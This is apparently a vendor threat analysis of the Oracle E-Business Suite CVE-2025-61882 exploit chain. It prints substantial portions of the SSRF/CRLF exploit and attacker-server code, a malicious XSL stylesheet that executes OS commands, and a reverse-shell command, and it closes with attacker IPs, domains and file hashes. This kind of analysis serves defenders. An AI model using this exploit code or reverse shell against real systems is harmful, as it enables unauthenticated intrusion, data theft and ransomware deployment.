The Howler Cell RE team investigated the Oracle E-Business Suite (EBS) exploit components related to CVE-2025-61882, a critical unauthenticated remote code execution (RCE) vulnerability disclosed by Oracle on October 4, 2025, and actively exploited in the wild by the Cl0p ransomware group since at least August 2025.
This zero-day flaw in EBS versions 12.2.3–12.2.14 enables attackers to chain server-side request forgery (SSRF) in the UiServlet, CRLF request smuggling, and malicious XSL processing in BI Publisher to execute arbitrary OS commands, facilitating extortion campaigns targeting enterprise resources.
Our analysis of proof-of-concept scripts (exp.py and server.py) reveals a sophisticated, remote attack vector requiring no authentication, with mass scanning of exposed instances leading to data exfiltration and ransomware deployment. Immediate patching and enhanced monitoring are critical to mitigate risks.
The function get_csrf_token(target) is designed to retrieve a CSRF token from an Oracle Applications web interface, likely part of Oracle E-Business Suite (EBS). This function interacts with specific Oracle Applications endpoints to fetch the token, handling redirects and custom headers along the way.
The initial request shown in Table 1 will trigger authentication checks or session and initialize the redirecting to a login or an internal host.
Table 1 Initial request to fetch valid server
req = sess.get(target + "/OA_HTML/runforms.jsp", headers=header, allow_redirects=False) |
The status code of 302 will be checked to verify the redirect and ensure to find the hosted Oracle Application web interface as shown in the Table 2.
Table 2 Code snippet to verify http requests
if req.status_code == 302: location = req.headers['Location'] location_url = urllib.parse.urlparse(location) if location_url.hostname != internal_host: print(f'[*] reset internal_host: {location_url.hostname}') |
Once the internal host or the hosted application is retrieved, with the help of the session, it will generate the CSFR token as shown in Table 3, by requesting a POST request to /OA_HTML/JavaScriptServlet and extract, validate the token further.
Table 3 Code to generate csrk token
tmp_header = header tmp_header["CSRF-XHR"] = "YES" tmp_header["FETCH-CSRF-TOKEN"] = "1" req = sess.post(target + "/OA_HTML/JavaScriptServlet", headers=tmp_header, ) |
The function generate_ssrf_crlf_payload shown in Table 4, is to process an input to prepare it for Server-Side Request Forgery (SSRF) attack combined with CRLF (Carriage Return Line Feed) injection. This function prepares the payload as input and normalizes for HTTP compatibility and encodes it as HTML decimal entities by combining the CRLF injection character \r\n
Table 4 SSRF attack combine with CRLF injection
if payload.startswith("POST "): payload = payload[5:] elif payload.startswith("GET "): payload = payload = payload[4:] payload = payload.replace("\n", "\r\n") |
The code snippet shown in Table 5, encodes the entire payload to appear as benign HTML when viewed in a browser or logged, evading WAFs or input sanitizers that strip raw HTTP but not HTML.
Table 5 Encoding the payload as HTML component
l = list(payload) html_payload = ''.join(['&#' + str(ord(i)) + ";" for i in l]) |
The function ssrf(target, payload) is an exploitation routine designed to trigger a SSRF vulnerability in Oracle E-Business Suite (EBS) by constructing a malicious XML payload, specifically targeting the UiServlet in the configurator module via POST and logs the success message.
The target is a base URL of the Oracle Application web interface and payload is a pre-crafted output from generate_ssrf_crlf_payload function, which is shown in Table 6.
Table 6 Exploitation routine to trigger SSRF vulnerability
def ssrf(target, payload): ssrf_xml = f'''<?xml version="1.0" encoding="UTF-8"?> <initialize> <param name="init_was_saved">test</param> <param name="return_url">http://{internal_host}:7201{payload}</param>
<param name="ui_def_id">0</param> <param name="config_effective_usage_id">0</param> <param name="ui_type">Applet</param> </initialize>''' print('[*] send payload') req = sess.post(target + "/OA_HTML/configurator/UiServlet", headers=header, data={ "redirectFromJsp": "1", "getUiType": ssrf_xml }) print(f'[*] Exploitation successful, check configuration server for any access') |
The function exploit(target, evil_server) shown in Table 7 coordinates the full exploitation chain against Oracle E-Business Suite (EBS) by leveraging SSRF combined with CRLF injection to achieve unauthenticated RCE. The exploit crafts a smuggled HTTP request that, when fetched via SSRF, hits the attacker's server and allows RCE.
Table 7 Full exploitation chain
rce_payload = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 Host: {evil_server} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: {cookie_str} |
The server.py implements a ‘evil server’ component to exploit unauthenticated remote code execution against Oracle E-Business Suite.
When the SSRF request received from the exp.py, the route handler will handle such requests and responds respectively for GET and POST request, as shown in Table 8.
Table 8 Route handler for GET and POST request
@routes.get('/OA_HTML/help/../ieshostedsurvey.xsl') async def config(request): global config_payload return web.Response(text=config_payload) @routes.post('/OA_HTML/help/../ibeCRgpIndividualUser.jsp') async def config(request): global config_payload return web.Response(text=config_payload) |
Table 9 shows the main execution block exactly checks for three command line arguments, port number, target OS identifier, shell initializer ['sh', '-c'] for Linux and ['cmd', '/c'] for windows.
Table 9 Execution block with command arguments
port = int(sys.argv[1]) target_system = sys.argv[2] command = sys.argv[3] |
The example exploitation command shown in Table 10.
Table 10 Sample exploitation command
print('python3 server.py 80 linux \'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1\'') print('python3 server.py 80 windows \'calc\'') |
It generates multi lined JavaScript payload that uses Java reflection to load java.lang.String, create three array for the exploitation command that we receive from the main block and executes via Runtime.getRuntime().exec(cmds), the respective code snippet shown in Table 11.
Table 11 JS payload generation
js_payload = f""" var stringc = java.lang.Class.forName('java.lang.String'); var cmds = java.lang.reflect.Array.newInstance(stringc,3); java.lang.reflect.Array.set(cmds,0,'{shell_exe[0]}'); java.lang.reflect.Array.set(cmds,1,'{shell_exe[1]}'); java.lang.reflect.Array.set(cmds,2,'{command}'); java.lang.Runtime.getRuntime().exec(cmds);"" |
Table 12 shows the payload then base64 encoded for safe embedding in XSL stylesheet, the config_payload variable then creates a malicious XSL stylesheet with the JS encoded payload embedded in it.
Table 12 Preparing a XSL stylesheet payload
config_payload = f'''<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder" xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager" xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine" xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"> <xsl:template match="/"> <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'{js_payload_base64}')"/> <xsl:variable name="js" select="str:new($bs)"/> <xsl:variable name="m" select="jsm:new()"/> <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/> <xsl:variable name="code" select="eng:eval($e, $js)"/> <xsl:value-of select="$code"/> </xsl:template> </xsl:stylesheet>''' |
In a real-world attack exploiting CVE-2025-61882, threat actors like the Cl0p ransomware group deploy these scripts across their controlled infrastructure to target vulnerable EBS instances.
The server.py which is an ‘evil_server’ listens for incoming request to process the malicious XSL payload for RCE, which triggers command execution on the victim's side.
python3 server.py 80 linux 'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1'
The exploitation script exp.py fetches CSRF token, force the SSRF attack combined with CRLF injection to request a malicious XSL stylesheet from evil_server server.py and executes arbitrary commands. python3 exp.py http://apps.example.com:8000/ 8.8.8.8:80
200.107.207[.]26
185.181.60[.]11
Pubstorm[.]com
Pubstorm[.]net
Exp.py : aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
Server.py : 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b